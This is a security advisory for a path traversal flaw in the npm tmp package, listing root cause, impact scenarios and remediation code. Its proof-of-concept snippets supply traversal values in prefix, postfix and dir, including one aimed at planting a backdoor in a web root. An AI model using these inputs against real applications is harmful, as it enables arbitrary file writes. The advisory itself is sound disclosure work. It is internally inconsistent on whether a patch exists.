GitHub Advisoryadvisory · npm
GHSA-ph9p-34f9-6g65 tmp has Path Traversal via unsanitized prefix/postfix that enables directory escape
HIGH
Official page ↗
- Aliases
- CVE-2026-44705
- Ecosystem
- npm
- Packages
- tmp
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
- Weaknesses
- CWE-22
- Reviewed
- 2026-05-27
Affected packages
• npm tmp: < 0.2.6 → fixed in 0.2.6
Description
Summary
The tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the `prefix`, `postfix`, or `dir` options. By embedding traversal sequences (e.g., `../`) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization.
Details
Root Cause:
The vulnerability exists in tmp's path construction logic where user-supplied options are directly concatenated into file paths without sanitization or validation.
Technical Flow:
1. Filename Construction: tmp builds filenames as `---`
2. Path Composition: Final path computed as `path.join(tmpDir, opts.dir, name)`
3. Path Normalization: Node.js `path.join()` normalizes traversal sequences, allowing escape
4. File Creation: File created at the resulting (potentially escaped) path
Vulnerable Pattern:
```javascript
// In tmp package internals
const name = `${opts.prefix || ''}-${process.pid}-${randomString}-${opts.postfix || ''}`;
const finalPath = path.join(tmpDir, opts.dir || '', name);
// No validation that finalPath remains within tmpDir
```
Path Traversal Mechanics:
• prefix/postfix traversal: `../../../evil` in prefix escapes directory structure
• Absolute path bypass: If `opts.dir` is absolute, `path.join()` ignores `tmpDir` completely
• Normalization exploitation: `path.join()` resolves `../` sequences regardless of surrounding text
• Cross-platform impact: Works on Windows (`..\\`), Unix (`../`), and mixed path systems
Key Vulnerability Points:
• No input validation on `prefix`, `postfix`, or `dir` parameters
• Direct use of user input in path construction
• Reliance on `path.join()` normalization without containment checks
• Missing post-construction validation that final path remains within intended directory
PoC
Basic Path Traversal via prefix:
```javascript
const tmp = require('tmp');
const path = require('path');
const fs = require('fs');
// Create a controlled base directory
const baseDir = fs.mkdtempSync('/tmp/safe-base-');
console.log('Base directory:', baseDir);
// Escape via prefix
tmp.file({
tmpdir: baseDir,
prefix: '../escaped'
}, (err, filepath, fd, cleanup) => {
if (err) throw err;
console.log('Created file:', filepath);
console.log('Relative to base:', path.relative(baseDir, filepath));
// Output shows: ../escaped--
cleanup();
});
```
Directory Escape via postfix:
```javascript
tmp.file({
tmpdir: baseDir,
postfix: '/../../pwned.txt'
}, (err, filepath, fd, cleanup) => {
if (err) throw err;
console.log('Escaped file:', filepath);
console.log('Escaped outside base:', !filepath.startsWith(baseDir));
cleanup();
});
```
Absolute Path Bypass via dir:
```javascript
tmp.file({
tmpdir: '/safe/tmp/dir',
dir: '/tmp/evil-location',
prefix: 'bypassed'
}, (err, filepath, fd, cleanup) => {
if (err) throw err;
console.log('Bypassed to:', filepath);
// File created in /tmp/evil-location instead of /safe/tmp/dir
cleanup();
});
```
Advanced Multi-Vector Attack:
```javascript
const maliciousOpts = {
tmpdir: '/app/safe-tmp',
dir: '../../../tmp', // Escape base
prefix: '../sensitive-area/', // Further traversal
postfix: 'malicious.config' // Controlled filename
};
tmp.file(maliciousOpts, (err, filepath, fd, cleanup) => {
// Results in file creation at: /tmp/sensitive-area/malicious.config
console.log('Final malicious path:', filepath);
cleanup();
});
```
Real-World Attack Simulation:
```javascript
// Simulate web API that accepts user file prefix
function createUserTempFile(userPrefix, content) {
return new Promise((resolve, reject) => {
tmp.file({ prefix: userPrefix }, (err, path, fd, cleanup) => {
if (err) return reject(err);
fs.writeSync(fd, content);
console.log('User file created at:', path);
resolve({ path, cleanup });
});
});
}
// Attacker input
const attackerPrefix = '../../../var/www/html/backdoor';
createUserTempFile(attackerPrefix, '');
// Creates PHP backdoor in web root instead of temp directory
```
Impact
Arbitrary File Creation:
• Files created outside intended temporary directories
• Attacker control over file placement location
• Potential to overwrite existing files (depending on creation flags)
• Cross-platform exploitation capability
Attack Scenarios:
1. Web Application Configuration Poisoning:
• User uploads file with malicious prefix/postfix
• tmp creates "temporary" file in application configuration directory
• Malicious configuration loaded on next application restart
2. Cache Poisoning:
• Application caches user content using tmp
• Attacker escapes to cache directory of different user/tenant
• Poisoned cache serves malicious content to other users
3. Build Pipeline Compromise:
• CI/CD system processes user PRs with tmp usage
• Malicious prefix escapes to build output directories
• Compromised build artifacts deployed to production
4. Container Escape Attempt:
• Containerized application uses tmp with user input
• Attacker attempts to escape container temp restrictions
• Files created in host-mapped volumes or sensitive container areas
5. Multi-Tenant Service Bypass:
• SaaS platform isolates tenants using separate tmp directories
• Tenant A escapes their tmp space to tenant B's area
• Cross-tenant data access and potential privilege escalation
Business Impact:
• Data Integrity: Unauthorized file placement can corrupt application state
• Service Disruption: Files in wrong locations may break application functionality
• Security Bypass: Escape temporary isolation boundaries
• Compliance Violations: Files containing sensitive data placed in uncontrolled locations
Affected Products
• Ecosystem: npm
• Package name: tmp
• Repository: github.com/raszi/node-tmp
• Affected versions: All versions with vulnerable path construction logic
• Patched versions: None currently available
Component Impact:
• `tmp.file()` function - vulnerable to prefix/postfix/dir traversal
• `tmp.dir()` function - vulnerable to same parameter manipulation
• `tmp.tmpName()` function - if using affected path construction
Severity: High
CVSS v3.1: 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)
CWE Classification:
• CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)
Remediation
Input Validation and Sanitization:
1. Sanitize prefix/postfix:
```javascript
function sanitizePrefix(prefix) {
if (!prefix) return '';
// Remove path separators and traversal sequences
return path.basename(String(prefix)).replace(/[\.\/\\]/g, '-');
}
function sanitizePostfix(postfix) {
if (!postfix) return '';
// Allow only safe characters
return String(postfix).replace(/[^A-Za-z0-9._-]/g, '');
}
```
2. Validate dir parameter:
```javascript
function validateDir(dir, baseDir) {
if (!dir) return '';
// Reject absolute paths
if (path.isAbsolute(dir)) {
throw new Error('Absolute paths not allowed for dir option');
}
// Resolve and check containment
const resolved = path.resolve(baseDir, dir);
const relative = path.relative(baseDir, resolved);
if (relative.startsWith('..') || path.isAbsolute(relative)) {
throw new Error('Dir option escapes base directory');
}
return dir;
}
```
3. Post-construction path validation:
```javascript
function validateFinalPath(finalPath, baseDir) {
const resolved = path.resolve(finalPath);
const relative = path.relative(path.resolve(baseDir), resolved);
if …
Related
Alias · CVE (1)
- CVE-2026-44705 tmp is a temporary file and directory creator for node.js. vulnerability
Weakness · CWE (1)
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness